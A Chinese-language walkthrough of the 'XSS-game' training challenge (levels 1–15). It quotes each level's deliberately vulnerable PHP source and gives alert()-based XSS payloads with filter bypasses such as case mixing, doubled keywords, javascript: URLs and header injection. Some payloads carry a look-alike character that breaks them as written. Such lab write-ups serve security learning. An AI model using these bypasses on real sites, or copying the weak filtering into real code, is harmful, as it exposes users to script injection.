XSS-game
level1
查看源代码,没有任何过滤,直接输入<script>alert(111)</script>
,弹框进入下一关
level2
查看源代码,value在input里,需要闭合跳出input
payload如下:
"><script>alert(11)</script>
level3
输入上关的payload,发现双引号被编码了,查看源代码value有个htmlspecialchars()函数对value进行编码,不过input
标签没有任何过滤,所以尝试在input
标签中闭合单引号'
,来触发事件。
htmlspecialchars()
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
payload如下:
' οnclick=alert('11')//
查看源代码,value被闭合
level4
输入正常语句,查看元素发现<>被删除了,直接看看源代码
发现<>被替换删除了,那么可以用level3的语句,因为那个并没有用到<符号,但是有一点微小的变动,那就是这里是双引号,而上一个是单引号
payload如下:
" onclick=alert('11')//
level5
输入测试语句,发现<script>
变成了</scr_ipt>
,查看源代码
查看源代码发现<script
被替换成<scr_ipt
,on
替换成o_n
,那就直接换个标签语句,payload如下:
"><a href=javascript:alert('hack') >
level6
输入测试语句,如第五关一样,关键字被替换
查看源代码
<h1 align=center>第6关 嗯 还是搜索</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
发现只有关键字被替换了,但没有对大小写以及双写进行转换或替换,直接大小写绕过,payload如下:
"><scRIpt>alert(1)</scRIpt>
level7
script被删除,查看源代码
<h1 align=center>第7关 猜一猜下面题目还有搜索嘛</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析源代码发现,大写被strtolower()函数转换,各类关键字被过滤,试试双写,payload如下:
"><scscriptript>alert(1)</scscriptript>
level8
发现页面有个友情链接,猜测这个链接是利用点,输入<a href="javascript:alert(1)">友情链接</a>
,发现javascript变成了javascr_ipt,查看源代码
<title>第8关</title>
</head>
<body>
<h1 align=center>第8关 老铁要和我换友链嘛?</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
分析源代码发现,各类关键字被替换,双引号被编码,大写被转换,测试将script中的某个字母html编码,payload如下:
javascript:alert(1)
level9
和上一关差不多,一样是利用“友情链接”,不过此处有些不同,查看源代码
<title>第9关</title>
</head>
<body>
<h1 align=center>第9关 添加友连again</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
分析源代码发现“友情链接”处有一个判断语句,用strpos()函数对输入语句进行判断。
strpos()用于查找指定字符串第一次出现的位置,返回整数型。也就是本题判断字符"http://"是否在字符串中出现,如果出现返回友情链接,反之返回链接不合法。测试在keyword变量的最后加上“http://”并将其注释掉,payload如下:
javascript:alert(1)//http://
level10
达到第10关,发现没有输入框,但url上有一个参数,查看源代码
F12查看前端代码,发现有三个input标签,但输入框都被隐藏掉了,在URL处试试value值是否可变,
keyword=0&t_link=1&t_history=2&t_sort=3
输入上述参数,F12发现t_sort参数可变,查看源代码
<title>第10关</title>
</head>
<body>
<h1 align=center>第10关 嗯 搜索又出现了</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
根据源代码分析发现,input标签的输入框被隐藏,t_sort的值可变,<>被置空,试试闭合value,并添加一个事件,payload如下:
t_sort=" type="text" οnclick="alert(11)//第一个"是为了闭合value,第二个"是为了闭合onclick
查看源代码可知,value被闭合,新增type和onclick事件
点击text输入框,进入下一关
level11
F12查看源代码,发现比上一关多了一个t_ref,值是上一关的链接,猜测该处可以利用referer,抓包
添加referer参数,输入和上一关一样的payload,放包点击text,顺利通关
level12
F12查看源代码,发现有个t_ua的标签,直接和上一关一样抓包修改UA就成,payload一样
level13
F12查看源代码,发现有个t_cook,和11关一样,直接抓包修改cookie的值,payload和第11关一样
level15
输入keyword=2,页面返回一个2,输入<script>alert(1)</script>
,发现script被删除了,查看源代码
<title>第15关</title>
</head>
<body>
<h1 align=center>第15关 厉害了 Word哥</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
分析源代码,script、/以及空格都被替换成了 ,直接输出字符串,所以此处使用事件或图片语句,又因为过滤了空格,空格可以用%0a换行符进行绕过,payload如下:
<img%0asrc=1%0aonerror=alert(111)>